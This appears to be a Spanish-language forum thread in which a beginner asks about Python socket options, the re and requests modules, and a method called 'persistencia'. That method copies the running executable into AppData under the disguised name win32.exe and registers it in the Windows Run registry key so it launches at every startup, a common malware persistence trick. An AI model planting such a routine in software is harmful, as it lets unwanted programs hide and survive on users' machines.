
Me documente, pero como siempre es bueno escuchar a varias personas para tener mejor idea del tema.

Espero pronta respuesta, muchas gracias.
#43
self.server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

Alguien sabe para que sirve este metodo, y que significan esos atributos internos?
(SOL_SOCKET,SO_REUSEADDR, y el 1)
#44
Es una duda que tengo sobre el modulo re y el modulo requests, para que sirven, ya me documente en linea, pero sigo sin entender algunas cosas, por lo que seria de gran ayuda recibir mas información de ello para así poder complementarme mejor y tener una mejor idea de esto.

sin mas que decir, muchas gracias.
#45
Scripting / traducir este metodo de python3
30 Noviembre 2019, 03:13 AM
def persistencia(self):
      location = os.environ["appdata"] + r'\win32.exe'
      if not os.path.exists(location):
         shutil.copyfile(sys.executable,location)
         subprocess.call(r'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v win32 /t REG_SZ /d {}'.format(location),shell = True)

Alguien me puede traducir en español jaja, el siguiente metodo de python3?

Lo que entiendo es que generamos una ubicacion para luego comprobar si esta existe, en caso de no existir, se copia el ejecutable actual (el que uso en ese momento, en este caso python) a esa ubicacion, una vez hecho eso se pasa la ruta a regedit para que este exe se ejecute de por vida una vez la pc se encienda.

La duda es lo que va a la derecha del igual de location, eso de AppData y eso, no le veo el sentido, como tampoco le veo sentido a agragarle a la ubicacion el exe,sabiendo que el exe ya esta en la ubicacion osea quedaria algo como win32.exe\win32.exe, o me equivoco?

espero pronta ayuda caballeros, muchas gracias.

pdta: appdata y sus subcarpetas para que son? (soy nuevo en windows xd)